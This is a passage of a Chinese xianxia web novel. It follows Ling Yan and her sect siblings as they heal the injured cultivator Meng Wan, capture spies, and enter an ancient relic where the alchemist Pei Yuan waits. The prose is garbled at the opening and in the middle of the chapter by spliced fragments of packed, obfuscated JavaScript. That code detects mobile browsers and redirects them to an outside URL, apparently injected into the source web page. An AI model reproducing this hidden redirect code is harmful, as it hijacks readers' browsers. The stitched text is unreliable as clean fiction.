0=7.0.6();b(/a|9|1|2|5|4|3|c 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“赤炎宗的人这两天一直来盯着。谁敢管她的事,谁倒霉。” 温寻笑了。 笑得很好看。 “多谢提醒。” 他把灵石往前推了推。 老头犹豫了一下,收了。 五人穿过大堂,往后院走。 后院不大,几间房围着一个天井。 天字三号在最里面,房门紧闭。 凌砚走到门口,抬手敲门。 里面没声音。 她又敲了一下。 “孟晚?我们是来帮忙的。” 安静了几秒。 然后门开了条缝。 一只眼睛从缝里看出来,带着警惕和戒备。 “你们是谁?” 凌砚看着那只眼睛。 眼睛里有血丝,有疲惫,有防备。 但没有绝望。 她忽然有点明白了—— 为什么这个人能在西域散修里混三十多年不倒下。 “我叫凌砚。”她轻声说,“无妄宗的人。” 眼睛眨了眨。 “无妄宗?” “对。” “没听过。” “正常。”凌砚笑了笑,“我们宗人少,不爱出门。” 眼睛盯着她看了几秒。 然后门开了。 孟晚站在门口,脸色苍白,身上缠着绷带,绷带下有血迹渗出来。 她看着凌砚,又看后面四个人。 “你们真是来帮忙的?” 凌砚点头。 “为什么?” 凌砚想了想。 “因为你那种眼神。” “什么眼神?” “就是被人欺负了,但还不肯低头的那种眼神。”凌砚说,“我以前也有过。” 孟晚愣住了。 凌砚看着她。 “而且——” 她笑了笑。 “我们宗最讨厌的,就是那种仗势欺人、抢别人机缘还理直气壮的人。” 孟晚沉默。 过了很久。 她忽然笑了。 笑得有点苦涩,有点释然。 “进来吧。” 她侧身让开。 五个人进了房间。 门在身后关上。 --- 房间很小,只有一张床,一张桌子,两把椅子。 孟晚坐到床上,看着他们。 “赤炎宗的人随时会来。你们确定要掺和这件事?” 温寻摇着扇子笑。 “让他们来。” 孟晚皱眉。 “你们不知道赤炎宗有多强——” “我们知道。”凌砚打断她,“但你知道我们有多强吗?” 孟晚愣了一下。 凌砚看着她,认真地说: “我们宗人少,但有一个特点——特别护短。” “什么意思?” “意思是——”凌砚指了指自己,“从现在开始,你是我们要护的人。” 孟晚张了张嘴,不知道该说什么。 沈清和走上前,在她面前蹲下。 “让我看看你的伤。” 孟晚下意识想躲。 沈清和按住她,动作很轻,但力道很稳。 “别动。” 她检查了一会儿,眉头皱起来。 “金丹裂了,经脉断了七根,还有内伤——他们下手够狠的。” 孟晚苦笑。 “他们想让我死。” “死不了。”沈清和站起来,“遇上我,你死不了。” 她从怀里取出一个小盒子,打开。 里面是一颗丹药,淡金色的,散发着浓郁的灵气。 孟晚眼睛睁大。 “这是……生骨续脉丹?” “对。” “这个……这个很贵——” “不要钱。”沈清和把丹药递给她,“吃。” 孟晚看着那颗丹药,又看沈清和。 眼眶忽然有点红。 “……为什么?” 沈清和笑了笑,还是那么温柔。 “因为我小师妹想救你。” 孟晚转头看凌砚。 凌砚正在打量房间里的摆设,注意到她的视线,转过头来。 “怎么了?” “……没什么。” 孟晚低下头,把丹药送进嘴里。 丹药入口即化,一股暖流涌入四肢百骸。 她闭上眼睛,感受着那些断裂的经脉一点点愈合,那颗差点碎掉的金丹一点点稳住。 过了很久。 她睁开眼。 看着面前这五个人。 “谢谢。” 凌砚点点头。 “不用谢。接下来——” 她看向温寻。 “三师兄,查清楚了吗?那个遗迹到底怎么回事?” 温寻从怀里掏出一张地图,铺在桌上。 “查清楚了。” 他指着地图上的一个点。 “遗迹在这里,荒古边缘的落霞山脉深处。据说是上古炼器大师‘器疯子’的洞府。” 苏折眼睛亮了。 “器疯子?” “对。”温寻点头,“就是那个传说中炼出过仙器的疯子。” 苏折难得激动起来。 “器疯子的洞府?里面有他的炼器心得吗?有他的炼器炉吗?有他留下的材料吗?” 温寻苦笑。 “二师兄,你冷静点。” “我很冷静。” “你眼睛都在发光。” 苏折闭嘴了。 凌砚看着地图。 “这个遗迹,赤炎宗的人已经进去了?” “还没有。”温寻说,“据我的人传回来的消息,遗迹外面有禁制,需要特定条件才能打开。赤炎宗的人现在就在落霞山脉外围扎营,等禁制松动。” 凌砚想了想。 “什么条件?” “不知道。”温寻摇头,“但据说和血脉有关。” 凌砚眼神一动。 血脉? 她忽然想起掌门看她那一眼。 还有进城时那些人看她的眼神。 她摸了摸胸口那颗鲛人泪。 “三师兄。” “嗯?” “查一下,那个遗迹,需要什么血脉。” 温寻看着她。 “小师妹,你怀疑……” “不确定。”凌砚打断他,“但我想知道。” 温寻沉默了两秒。 然后点头。 “好,我让人查。” 他转身要出去,忽然又停住。 “对了小师妹,外面那三拨人——要我处理掉吗?” 凌砚想了想。 “不用。让他们跟着。” “为什么?” 凌砚笑了笑。 “我想看看,他们到底想确认什么。” 温寻愣了一下,然后笑出声。 “行。” 他推门出去了。 房间里安静下来。 孟晚看着凌砚,眼神复杂。 “你到底是什么人?” 凌砚想了想。 “一个被捡回来的凡人。” 孟晚皱眉。 “你不像凡人。” “像什么?” “像……”孟晚想了半天,“像那种藏得很深的人。” 凌砚笑了。 “谢谢夸奖。” 孟晚摇摇头,不说话了。 沈清和走过来,在凌砚旁边坐下。 “小师妹,累了吗?” “还好。” “饿了吗?” “有点。” 沈清和从乾坤袋里取出一个食盒。 “先吃点东西。” 凌砚接过,打开。 里面还是几样点心,还是热的。 她咬了一口。 然后忽然想起什么。 “四师姐,你的乾坤袋里,到底装了多少吃的?” 沈清和想了想。 “够咱们吃三个月吧。” 凌砚:“……” 旁边的谢无妄嘴角动了动。 苏折低头研究地图,假装没听到。 凌砚默默继续吃。 这个宗门—— 真的全是怪物。 4. 夜探与反杀 凌砚在孟晚房间待到傍晚。 期间沈清和又给孟晚检查了一次伤势,确认那颗生骨续脉丹已经完全吸收,断裂的经脉接上了七七八八。 “再养三天就能恢复。”沈清和说,“但要完全稳固,最好别动用灵力。” 孟晚点头,看向这五个人的眼神更复杂了。 她闯荡西域三十多年,见过太多人——好的坏的,伪善的真恶的,但从没见过这种。 帮人不问理由,救人不要回报,做完事就在旁边该吃吃该喝喝,好像只是顺路干了件小事。 “你们……”她张了张嘴,“真不用我做什么?” 凌砚正啃着沈清和给的第二盒点心,闻言抬头看她。 “你想做什么?” 孟晚愣了一下。 她也不知道自己能做什么。 三十多年散修,她最擅长的是打架和逃命,别的——好像真没什么拿得出手的。 凌砚看她那表情,笑了。 “那就好好养伤,伤好了再说。” 孟晚沉默了一会儿。 然后认真点头。 “好。” 窗外天色渐渐暗下来。 温寻推门进来,脸上带着惯常的笑,但眼底有点不一样的东西。 “查到了。” 凌砚放下点心。 “说。” 温寻走到桌边,把一张纸条铺开。 “那个遗迹,确实有血脉禁制。而且是多重禁制——第一层需要‘上古血脉’才能触动,第二层需要特定种族,第三层需要……” 他顿了顿。 “需要‘万法归宗体’。” 房间里安静了一瞬。 谢无妄眼神一冷。 苏折抬起头,手里的法器都忘了捣鼓。 沈清和微微皱眉。 只有凌砚表情没变。 但她摸了摸胸口那颗鲛人泪。 “万法归宗体是什么?” 温寻看着她。 “上古第一体质。据说可以模拟任何灵根、融合任何血脉、修炼任何功法。” 他顿了顿,声音低下去。 “也据说,这种体质在上古时期就被灭了。因为太逆天,会引起整个修仙界的争夺——谁得到这种体质,谁就能掌控一切。” 凌砚听完,沉默了几秒。 然后说: “所以外面那些人,是来确认我是不是这种体质的?” 温寻点头。 “应该是。而且——” 他看向窗外。 “他们等不及了。” 话音未落,窗外传来轻微的声响。 像是什么东西落在屋顶上。 谢无妄已经站起来,手按剑柄。 苏折把手里的法器收起来,换了个巴掌大的圆球。 沈清和挡在凌砚和孟晚前面。 温寻摇着扇子,笑得还是那副样子。 “小师妹,你说怎么办?” 凌砚想了想。 “刚才你说有三拨人?” “对。” “现在来了几拨?” 温寻侧耳听了听。 “两拨。还有一拨在远处观望。” 凌砚点头。 “那就先把这两拨请进来。” 她看向谢无妄。 “大师姐,能留活口吗?” 谢无妄嘴角微微一动。 “可以。” “那就留一个,剩下的——” 她没说完,谢无妄已经动了。 门没开,窗没开,但人已经消失在原地。 下一秒,屋顶传来一声闷响。 然后是重物落地的声音。 接着是第二声。 凌砚走到窗边,推开一条缝往外看。 院子里多了两个人。 一个趴在院子中央,一个挂在树上。 谢无妄站在屋顶,剑还没出鞘,只是用剑鞘点了两下。 凌砚:“……” 她转头看温寻。 “三师兄,大师姐什么修为来着?” 温寻笑得一脸得意。 “化神后期。” “……那对面呢?” “两个元婴初期。” 凌砚沉默了两秒。 “越级?” “对咱们大师姐来说,这叫热身。” 凌砚默默把窗关上了。 外面传来谢无妄的声音: “下来。” 凌砚推门出去。 院子里,谢无妄已经跳下屋顶,站在那两个黑衣人旁边。 一个趴着不动,一个挂在树上挣扎。 凌砚走过去,低头看趴着的那个。 黑衣人蒙着脸,但露在外面的眼睛瞪得很大,显然还没从刚才那一下里回过神来。 凌砚蹲下。 “谁派你来的?” 黑衣人咬牙不说话。 凌砚也不急,转头看树上那个。 “你呢?说不说?” 树上的那个挣扎得更厉害了,但树枝卡住了他的衣服,怎么都下不来。 凌砚看了一会儿,忽然问: “你们是凌霄阁的人?” 两个黑衣人同时僵了一下。 虽然只是一瞬间,但凌砚看到了。 她站起来。 “行了,知道了。” 温寻走过来。 “凌霄阁?” “对。”凌砚拍拍手,“二师兄之前说的那个炼器峰首座裴元,就是凌霄阁的吧?” 苏折点头。 凌砚想了想。 “三师兄,第三拨人在哪?” 温寻指向远处一个方向。 “那边,茶楼二楼。” 凌砚看过去。 茶楼离这里隔着两条街,二楼窗户开着,隐约能看到个人影。 那个人影似乎察觉到她的视线,转身消失在窗后。 凌砚收回视线。 “跑得挺快。” 她低头看地上那个黑衣人。 “这两个怎么办?” 温寻笑得意味深长。 “小师妹想怎么办?” 凌砚想了想。 “放一个回去,带话。” “带什么话?” “就说——”凌砚顿了顿,“无妄宗的人,不是谁都能查的。想确认什么,直接来问,别偷偷摸摸。” 温寻眼睛亮了。 “这话够劲。” 他把树上的那个放下来,摘了蒙面布,是个年轻男人,脸色惨白。 “听到了?回去告诉你们主子,下次直接来。” 年轻男人拼命点头,然后连滚带爬跑了。 地上那个还趴着。 凌砚低头看他。 “你回去吗?” 那个黑衣人摇头。 凌砚挑眉。 “不想回去?” 黑衣人抬起头,露出一张中年男人的脸,表情复杂。 “我回去也是死。” “为什么?” 黑衣人沉默了一会儿。 然后说: “我是散修,被逼着来的。回去完不成任务,他们会杀我。” 凌砚看着他。 “谁逼你来的?” 黑衣人犹豫了一下。 “凌霄阁,裴元的人。” 凌砚点点头。 “那你现在打算怎么办?” 黑衣人苦笑。 “不知道。” 凌砚想了想。 “三师兄,咱们缺人吗?” 温寻愣了一下。 “缺人?不缺啊。” “那缺不缺跑腿的?” 温寻看看地上那个人,又看凌砚,忽然笑了。 “缺。” 他蹲下来,看着黑衣人。 “叫什么?” “周、周武。” “周武,从现在开始,你跟着我们。表现好,有活路。表现不好——” 他指了指谢无妄。 “刚才那一剑鞘,只是热身。” 周武看着谢无妄,打了个冷战。 然后拼命点头。 “我、我一定好好表现!” 凌砚转身往房间走。 “行了,进来吧。” --- 房间里。 周武缩在角落里,小心翼翼看着这五个人。 他到现在还没反应过来——刚才还在屋顶上准备偷袭,怎么突然就变成这样了? 那个凡人小姑娘,怎么一句话就决定了他的死活? 还有那个冷着脸的女人,修为到底有多高?他一个元婴中期,连反应都没反应过来就被打下来了。 他正想着,凌砚忽然开口: “说说吧,你知道多少。” 周武愣了一下。 “说、说什么?” “凌霄阁为什么要查我?” 周武咽了口唾沫。 “我、我只是个跑腿的,知道的不多——” 温寻摇着扇子笑。 “知道多少说多少。说少了,我大师姐会不高兴。” 谢无妄配合地看了周武一眼。 周武立刻开口: “我说!我说!” 他深吸一口气,开始交代。 “三个月前,凌霄阁炼器峰首座裴元突然开始打听无妄宗的消息。他找了很多人,包括我们这些散修,让我们在五大域同时打听——问宗门位置,问宗门人数,问宗门实力,还问……” 他看了凌砚一眼。 “还问有没有新收的弟子。” 凌砚眼神一凝。 “新收的弟子?” “对。”周武点头,“特别问了,最近三个月有没有新弟子加入。” 凌砚沉默。 温寻皱眉。 “他为什么关心这个?” 周武摇头。 “这我真不知道。我只是个跑腿的,拿钱办事。但我听说——” 他犹豫了一下。 “听说裴元在等一个人。” 凌砚抬头。 “等谁?” 周武摇头。 “不知道。但有一次我偷听到他和别人说话,说什么‘快了’、‘很快就能确认了’之类的。” 房间里安静下来。 凌砚想起进城时那个守门人的眼神,还有撞她的那个年轻人的眼神。 都是在确认什么。 确认她是不是那个人。 可问题是—— 她是谁? 她低头看自己的手。 穿越者,凡体,被掌门捡回来。 这是她知道的自己。 但显然,还有她不知道的。 沈清和走过来,在她旁边坐下,轻轻握住她的手。 “小师妹,别想太多。” 凌砚抬头看她。 沈清和笑了笑,还是那么温柔。 “不管你是谁,你都是我们的小师妹。” 凌砚看着她,沉默了一会儿。 然后笑了。 “四师姐,你这句话,我记着了。” 沈清和揉揉她的头发。 温寻在旁边看着,忽然说: “小师妹,接下来怎么办?那个裴元——” 凌砚想了想。 “三师兄,能查到裴元现在在哪吗?” 温寻点头。 “应该可以。我的人在中域有眼线。” “那就查。查清楚他在哪,在等什么,等的那个人和我有什么关系。” 温寻站起来。 “行,我这就去。” 他推门出去。 凌砚看向周武。 “你还有什么要说的?” 周武想了想。 “还有一件事——不知道重不重要。” “说。” “裴元最近在收集一种东西。”周武说,“叫‘溯魂石’。” 苏折猛地抬起头。 “溯魂石?” 周武被他吓了一跳。 “对、对啊,怎么——” 苏折脸色变了。 凌砚看着他。 “二师兄,溯魂石是什么?” 苏折沉默了两秒。 然后说: “溯魂石,是上古时期用来探查转世之人身份的东西。只要有一滴血,就能追溯前世。” 房间里安静了。 凌砚摸着自己的手腕。 那里有一道细细的疤,是穿越那天留下的——刚过来的时候摔了一跤,被石头划破的。 她忽然想起掌门看她那一眼。 还有进城时那些人看她的眼神。 如果—— 如果她真的是什么人的转世。 如果裴元等的那个人,就是她。 那—— 窗外忽然传来一阵喧哗。 温寻的声音从外面传进来: “小师妹!出来看!” 凌砚推门出去。 温寻站在院子里,手里拿着一块传讯玉简,表情古怪。 “怎么了?” 温寻把玉简递给她。 “掌门传讯。” 凌砚接过,注入灵气。 墨渊的声音懒洋洋传出来: “玩够了早点回来。对了,有人问你们在不在宗里,我说不在。他们说要去找你们,我说随便。” 顿了顿。 “大概三十个人,化神起步,领头的好像是个大乘。” 又顿了顿。 “哦,他们说是凌霄阁的。” 凌砚看完,沉默了两秒。 然后抬头看温寻。 “三师兄,我们来西域多久了?” “两天。” “凌霄阁的人去找我们,要多久?” “从中域到无妄秘境,最快也要三天。” 凌砚想了想。 “所以他们三天后会发现我们不在,然后——” 她看向温寻。 温寻替她说完: “然后他们会查我们去哪了。然后会查到西域。然后——” 他笑了。 笑得有点兴奋。 “然后就有意思了。” 凌砚也笑了。 “三十个人,化神起步,一个大乘带队。” 她转身看屋里的人。 谢无妄站起来。 苏折收起法器。 沈清和走到她身边。 角落里,周武瑟瑟发抖。 凌砚看着他们。 “怎么办?” 谢无妄嘴角动了动。 “打。” 苏折难得开口:“他们身上应该有材料。” 沈清和温柔地说:“小师妹别受伤就行。” 凌砚笑了。 她转身看向远方。 夜色里,茶楼的方向,那个人影又出现了。 站在窗前,看着她。 这次没躲。 凌砚也看着他。 两人隔着两条街对视。 过了很久。 凌砚收回视线。 “三师兄,明天我们去落霞山脉。” 温寻眼睛一亮。 “去遗迹?” “对。”凌砚点头,“既然有人想确认我是不是那种体质,那就让他们确认。” 她顿了顿,笑了。 “不过确认之前,得先收点门票钱。” --- 第二天一早。 五人离开荒古城,往落霞山脉走。 周武被留在了城里——带他去没用,还容易坏事。 临走前,凌砚去看了孟晚。 孟晚已经能下床了,站在门口送他们。 “你们……真的要去落霞山脉?” 凌砚点头。 孟晚犹豫了一下。 “那里有赤炎宗的人,五十多个,还有一个元婴长老。” “知道。” “那个遗迹的禁制很厉害,进去的人都没出来过。” “知道。” 孟晚看着凌砚。 “那你为什么还要去?” 凌砚想了想。 “因为有人想确认我是什么。” 她笑了笑。 “我自己也想确认一下。” 孟晚沉默了一会儿。 然后从怀里掏出一样东西,递给她。 是一块玉牌,很旧,边角都磨圆了。 “这是我师父留给我的。她在西域混了五十年,最后死在一处遗迹里。临死前说,这玉牌能保一次命。” 凌砚没接。 “给我?” 孟晚点头。 “你们救我,我没什么能回报的。这个,就当一点心意。” 凌砚看着她。 孟晚也看着她,眼神认真。 过了两秒,凌砚接过玉牌。 “好。等我回来还你。” 孟晚笑了。 “不用还。活着回来就行。” 凌砚点点头,转身走了。 五个人穿过城门,往西走。 身后,荒古城的城门渐渐变小。 前面,落霞山脉在晨光里泛着淡淡的红色,像火烧过一样。 温寻走在凌砚旁边。 “小师妹,那个玉牌,我看了,不简单。” 凌砚低头看手里的玉牌。 “怎么不简单?” “上面有上古禁制。应该是某位大能留下的保命符。” 凌砚把玉牌收起来。 “那回去得好好谢她。” 温寻点头。 走了几步,他又说: “对了小师妹,我的人昨晚传回来消息——裴元不在中域。” 凌砚转头看他。 “在哪?” 温寻笑了笑。 “也在西域。” 凌砚脚步一顿。 “具体呢?” “还不确定。但他最后一次出现,是在落霞山脉外围。” 凌砚沉默。 谢无妄走过来。 “冲我们来的?” 温寻摇头。 “不确定。但有可能。” 凌砚想了想。 然后继续往前走。 “那就去看看。” 五个人没入晨光里。 身后,荒古城的方向,几道人影悄悄跟了上去。 --- 落霞山脉离荒古城不远,半日路程。 下午的时候,五人已经到了山脉外围。 温寻拿出地图。 “遗迹在这里面,大概还要走两个时辰。但前面就是赤炎宗的营地,得绕过去。” 凌砚看着前面的山。 山不高,但很密,树木遮天蔽日,看不到深处。 “绕路要多久?” “三个时辰左右。” 凌砚想了想。 “不用绕。” 温寻看她。 “直接穿过去?” “对。” “可赤炎宗的人——” “他们不是想进遗迹吗?”凌砚笑了笑,“那就一起进。” 温寻愣了一下,然后笑了。 “小师妹,你这是要借他们的手开路?” 凌砚点头。 “禁制要解,需要人探路。他们有五十个人,不用白不用。” 谢无妄难得开口夸了一句: “聪明。” 苏折在旁边补了一句: “而且他们身上应该有不少炼器材料。” 温寻看他。 “二师兄,你现在眼里只有材料吗?” 苏折面无表情。 “炼器的事,能叫只有材料吗?” 温寻闭嘴了。 五人继续往前走。 半个时辰后,他们看到了赤炎宗的营地。 营地扎在山谷口,几十个帐篷,中间插着赤炎宗的旗子。有人在巡逻,有人在做饭,还有人在调试法器。 温寻眯眼看了一会儿。 “五十三个,一个元婴后期,五个金丹,剩下都是筑基。” 他看向凌砚。 “小师妹,你想怎么借?” 凌砚想了想。 “直接过去。” “直接?” “对。”凌砚整理了一下衣服,“就说我们是散修,想进遗迹碰运气,希望和他们合作。” 温寻挑眉。 “他们会信?” “不会。”凌砚笑了,“但他们会让我们进去。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323564|199091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“为什么?” “因为他们需要人探路。” 温寻想了想,点头。 “有道理。” 五人从树林里走出来,往营地走。 刚靠近,就被巡逻的人拦住了。 “站住!什么人?” 凌砚上前一步。 “散修,想进遗迹。” 巡逻的人上下打量他们。 目光在谢无妄身上停了两秒,脸色变了变。 “你们等着。” 他跑进营地。 过了一会儿,一个中年男人走出来,穿着比其他人好一点,应该是领头的。 元婴后期。 他看着五人,目光扫过谢无妄,扫过苏折,扫过温寻,扫过沈清和,最后落在凌砚身上。 眉头皱起来。 “凡人?” 凌砚点头。 “对。” 中年男人盯着她看了几秒。 然后问: “你们想进遗迹?” “对。” “凭什么?” 凌砚指了指谢无妄。 “她,化神后期。” 中年男人脸色一变。 又看苏折。 “他,元婴中期,但他是器灵族,能破禁制。” 苏折配合地露出一个“我是技术宅”的表情。 中年男人沉默了一会儿。 然后说: “进来谈。” 五人跟着他进了营地。 帐篷里,中年男人坐下,看着他们。 “我是赤炎宗外门长老,姓郑。你们想合作,可以。但有个条件。” 凌砚点头。 “说。” “遗迹里的东西,谁拿到算谁的。但要是遇到危险,你们得帮忙。” 凌砚想了想。 “可以。” 郑长老盯着她。 “你一个凡人,能做主?” 凌砚笑了。 “他们听我的。” 郑长老愣了一下,看谢无妄他们。 谢无妄面无表情,但点了点头。 郑长老沉默了几秒。 然后说: “行。明天一早出发。” 五人离开帐篷。 温寻凑到凌砚耳边。 “小师妹,他信了?” “没有。”凌砚轻声说,“但他会让我们先进去探路。” 温寻笑了。 “那你打算怎么办?” 凌砚看看四周。 “让他们探。” “怎么让?” 凌砚没回答,只是摸了摸手腕上的手环。 那是苏折给她做的那个,功能里有一条—— 自动反击。 --- 第二天一早。 赤炎宗的队伍出发了。 五十多个人,加上凌砚他们五个,浩浩荡荡往山脉深处走。 郑长老走在最前面,旁边跟着几个金丹弟子,手里拿着探测法器。 凌砚走在队伍中间,旁边是谢无妄。 一路上,她注意到有人在看她。 不是郑长老,是几个年轻的弟子,目光在她身上扫来扫去,带着好奇和某种说不清的意味。 凌砚没理他们。 走了两个时辰,前面出现一片迷雾。 郑长老停下,让弟子探测。 “禁制就在雾里。”他转头看凌砚,“你们不是说能破禁制吗?请吧。” 凌砚看向苏折。 苏折走上前,从怀里掏出那个巴掌大的圆球。 圆球飘起来,在空中转了几圈,然后指向一个方向。 “那边,禁制最弱。” 郑长老眼睛一亮。 “走。” 队伍往那个方向走。 迷雾越来越浓,能见度降到只有几米。 苏折走在最前面,圆球在前面飘着带路。 凌砚注意到,那几个看她的弟子,不知什么时候凑到了她旁边。 一个年轻男人开口: “姑娘,你真是凡人?” 凌砚点头。 “那你跟着来干什么?不怕死?” 凌砚看了他一眼。 “怕。” 年轻男人笑了。 “那你——” 话没说完,前面忽然传来一声惨叫。 队伍停下。 凌砚往前看,只看到迷雾里有人影倒下。 然后是第二声惨叫。 第三声。 郑长老的声音传来: “别慌!是禁制触发了!” 凌砚眯起眼睛。 迷雾里,隐约能看到有东西在动。 她摸了摸手腕上的手环。 手环微微发热。 她低头看。 手环上,一个小点正在闪烁。 那是—— 有人触发了她的反击禁制? 可她没有被人攻击啊。 她想了想,忽然明白了。 那几个弟子凑过来,不是为了看她。 是为了—— “小心!” 谢无妄忽然拔剑,挡在她前面。 剑光一闪,几道细如牛毛的针被打落。 凌砚低头看那些针。 针是透明的,落在石头上,石头瞬间变成黑色。 毒。 她抬头看那几个弟子。 他们已经退后几步,脸色变了。 那个年轻男人瞪着她。 “你怎么——” 凌砚没等他说完。 “大师姐,留一个。” 谢无妄动了。 剑光闪过,三个弟子倒下,只剩那个年轻男人站在原地,脸色惨白。 凌砚走过去。 “谁让你来的?” 年轻男人咬牙不说话。 凌砚看着他。 “不说也行。反正外面还有人在等。” 年轻男人一愣。 凌砚笑了。 “你以为我不知道?你们赤炎宗这次来的目的,根本不是遗迹。” 她指了指四周的迷雾。 “你们是来抓我的。” 年轻男人脸色彻底白了。 凌砚蹲下来,看着他。 “告诉郑长老——不对,告诉派你来的人。” 她顿了顿。 “想抓我,亲自来。别派这些小喽啰送死。” 站起来,转身。 “走吧。” 五人消失在迷雾里。 身后,年轻男人瘫坐在地上,浑身发抖。 远处,惨叫声还在继续。 那些触发禁制的人,一个都没回来。 --- 迷雾深处。 温寻走在凌砚旁边。 “小师妹,你怎么知道他们是来抓你的?” 凌砚摸了摸手环。 “因为它。” 手环上,那个小点还在闪烁。 “它能感应恶意。”凌砚说,“从昨天进营地开始,就一直有恶意锁定我。刚才那几个凑过来,恶意最强。” 温寻沉默了一会儿。 然后笑了。 “二师兄这东西,真好用。” 苏折头也不回。 “废话。” 沈清和走过来,握住凌砚的手。 “小师妹,怕不怕?” 凌砚想了想。 “有点。” “那还继续往前走?” 凌砚点头。 “想抓我的人在前面,躲不掉的。” 她抬头看向迷雾深处。 “而且——” 她摸了摸胸口那颗鲛人泪。 “我也想知道,他们为什么这么想抓我。” 五人继续往前走。 迷雾渐渐散开。 前面,出现了一座石门。 门上刻着复杂的纹路,散发着淡淡的金光。 那就是遗迹的入口。 而在门前,站着一个人。 穿着白衣,负手而立,看起来等了很久。 他转过身,看向凌砚。 笑了。 “终于等到你了。” 凌砚看着他。 “裴元?” 那人点头。 “凌霄阁,炼器峰首座,裴元。” 他看着凌砚,目光温柔得诡异。 “或者说——等了你三万年的,裴元。” 凌砚皱眉。 “三万年前,我还不存在。” 裴元笑了。 “是吗?” 他从怀里取出一个小盒子,打开。 里面是一滴血。 金色的血。 “这是你的血。”他说,“三万年前的。” 凌砚看着那滴血。 心里忽然有什么东西动了一下。 裴元看着她。 “想知道你是谁吗?” 他伸出手。 “跟我走,我告诉你。” 谢无妄拔剑。 苏折手里的圆球飘起来。 温寻收起扇子。 沈清和挡在凌砚前面。 裴元看着他们,笑了。 “别紧张。我不会现在带她走。” 他看着凌砚。 “但你迟早会来找我的。” 他转身,往石门走去。 “因为那个遗迹里,有你想要的东西。” 他推开门,走了进去。 石门在身后缓缓关上。 凌砚站在原地,看着那扇门。 过了很久。 她开口: “进去吗?” 谢无妄看着她。 “你想进就进。” 凌砚想了想。 然后笑了。 “进。” 她往前走了一步。 “不管我是谁,不管三万年前发生了什么——” 她推开门。 “先进去看看再说。” 五个人消失在门后。 远处,迷雾里,郑长老带着剩下的人追了上来。 但石门已经关了。 他们站在门前,面面相觑。 而门后,是另一个世界。 5. 遗迹之下 门后不是想象中那样。 没有宫殿,没有宝库,没有堆积如山的法器和丹药。 只有一条向下的台阶。 台阶很窄,只容两人并行,两侧是光滑的石壁,每隔十步嵌着一颗夜明珠,发出幽幽的光。 凌砚站在台阶前,往下看。 看不到底。 “这遗迹……”温寻凑过来,压低声音,“怎么跟我想的不太一样?” “你想的什么样?” “起码得有个大门,有个牌匾,写着‘器疯子洞府’五个大字。”温寻比划着,“然后门口蹲俩石狮子,进去之后一排架子,上面摆满神器——这才像炼器大师的洞府嘛。” 苏折难得开口怼他: “你以为是凡人界的暴发户?” 温寻:“……” 凌砚没理他们,蹲下来摸了摸台阶。 石质很老,表面有细密的纹路,像是被无数人踩过。 可问题是——不是说这个遗迹刚被发现吗? “有人来过。”她站起来,“而且来过很多人。” 郑长老的声音从身后传来: “不可能!我们是最先发现遗迹的——” 凌砚回头看他。 郑长老带着二十多个人,正站在门口,脸色不太好看。 凌砚挑眉。 “你们怎么进来的?” “门……门自己开了。”郑长老咽了口唾沫,“你们进来之后,门就开了。” 凌砚看温寻。 温寻摇头:“不是我。” 看谢无妄。 谢无妄面无表情:“不是我。” 看苏折。 苏折低头看手里的圆球:“它在发光。” 圆球确实在发光,金色的光,一闪一闪的。 凌砚沉默了两秒。 然后问:“它之前发过光吗?” “没有。” “那现在为什么发?” 苏折想了想。 “因为这里有它想要的东西。” 凌砚看着那条向下的台阶。 台阶很长,不知道通向哪里。 但既然来了—— “走吧。”她往下走,“下去看看。” 谢无妄跟上。 沈清和跟上。 温寻摇着扇子跟上。 苏折捧着发光的圆球跟上。 郑长老站在原地,脸色变了几变。 “长老,咱们……”身后的弟子小声问。 郑长老咬牙。 “跟上去!” 二十多个人慌慌张张跟下来。 台阶很长。 走了快半个时辰,还是台阶。 凌砚一边走一边数,已经数到三千多步了。 “这遗迹到底有多深?”温寻抱怨,“腿都走细了。” “你可以飞。” “飞什么飞,这地方有禁制。”温寻指了指头顶,“刚才试了一下,飞不起来。” 凌砚抬头看。 确实,头顶什么也没有,但总觉得有什么东西压着。 她继续往下走。 又走了快一刻钟,台阶终于到头了。 前面是一个巨大的石室。 石室是圆的,直径大概有上百米,穹顶高得看不到顶。四周的墙壁上刻满了复杂的纹路,有些在发光,有些是暗的。 石室中央,立着一座高台。 高台上放着一口鼎。 鼎不大,也就半人高,通体漆黑,表面没有任何纹路,朴素得不像话。 但所有人看到那口鼎,都愣住了。 包括谢无妄。 因为那口鼎散发出来的气息—— “仙器。”苏折难得失态,“这是仙器!” 郑长老眼睛亮了。 “仙器!是仙器!” 他一挥手:“上!” 二十多个赤炎宗弟子冲上去。 凌砚没动。 她就站在原地,看着那些人冲向高台。 第一个弟子刚踏上高台第一级台阶—— 消失了。 不是死了,不是飞了,是凭空消失了。 第二个弟子愣了一下,然后也跟着消失。 第三个、第四个、第五个—— 后面的弟子终于反应过来,拼命往后退。 但已经晚了。 高台周围忽然亮起一圈光,把所有人都罩在里面。 凌砚眯起眼睛。 光里,那些消失的弟子又出现了。 但姿势不对。 他们站在高台中央,围着那口鼎,一动不动。 表情呆滞,眼神空洞。 像是—— “傀儡。”苏折说,“被炼成傀儡了。” 凌砚看着那些弟子。 二十多个人,包括那个元婴后期的郑长老,全部站在那里,一动不动。 前后不到三息。 “这是什么禁制?”温寻收起扇子,脸色难得严肃。 苏折摇头。 “不知道。但能瞬间把元婴期炼成傀儡——这手段,至少是大乘以上。” 凌砚沉默。 她看着那口鼎。 鼎还是那副样子,朴素,漆黑,毫不起眼。 但她总觉得—— 那口鼎在看她。 “小师妹。”沈清和握住她的手,“别盯着看。” 凌砚回过神。 “这鼎有问题?” “有。”苏折说,“它在等什么人。” 凌砚看他。 “等谁?” 苏折低头看手里的圆球。 圆球还在发光,但比刚才更亮了。 “等我?” “不是。”苏折摇头,“等能唤醒它的人。” 他看向凌砚。 “小师妹,你试试。” 谢无妄皱眉。 “不行。” “为什么?” “危险。” 苏折想了想。 “那就不试。” 他把圆球收起来。 “绕过它,往前走。” 五人往石室另一边走。 路过那口鼎的时候,凌砚忍不住又看了一眼。 鼎还是那副样子。 